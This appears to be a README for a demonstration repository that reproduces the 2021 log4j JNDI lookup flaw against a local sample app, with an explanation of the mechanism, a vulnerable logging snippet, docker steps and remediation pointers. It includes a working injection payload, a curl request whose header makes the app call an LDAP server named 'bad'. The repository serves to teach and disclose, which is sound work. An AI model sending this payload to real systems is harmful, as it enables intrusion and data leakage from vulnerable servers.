# Example of log4j exploit

This repo has a working sample of abusing the recent [log4j exploit]( It does not perform actual remote code execution, but shows you the ease at which a bad actor can have a vulnerable application call out to its own ldap server.

This uses the excellent log4j sample vulnerable app created christophetd:

## Explanation

This vulnerability abuses the `lookup` functionality of log4j, specially the `jndi` which allows log4j to perform lookups from external hosts for data to input. This can be exploited to do anything from logging sensitive variables in the environment to executing code remotely.

Lookups are done for any text wrapped in `${}` when the logger is called. For example,

would do a lookup on that LDAP server with the given query and output the result.

A more simple example that doesnt make use of jndi, but is still dangerous:


This would print the contents of that environment variable into logs. Someone then with access to view those logs could extract sensitive data from the application.

## log4j Code

The code in log4j for this exploit to be abused is pretty straightforward. You just need to call the logger to log a given request property unsanitized. For example, you could log the contents of a `User-Agent`.

	public void Bad(@RequestHeader("User-Agent") String userAgent) {"Received User-Agent header " + userAgent);

## Using this example

First, build the local ldap server:

docker build -t ldapnode .

Once built, bring up the whole stack by running

docker-compose up

Then, you can perform a request to the app, using the `x-api-version` header to inject the lookup

curl --request GET \
  --url http://localhost:8080/ \
  --header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'

Using that request, you will see in the docker-compose logs, the ldap server will have been called:

bad_1    | ldap server has been called!
log4j_1  | 2021-12-14 02:43:11.657  INFO 1 --- [nio-8080-exec-2] HelloWorld                               : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c

## What to do if you are impacted

Please see [this documentation]( for resolution paths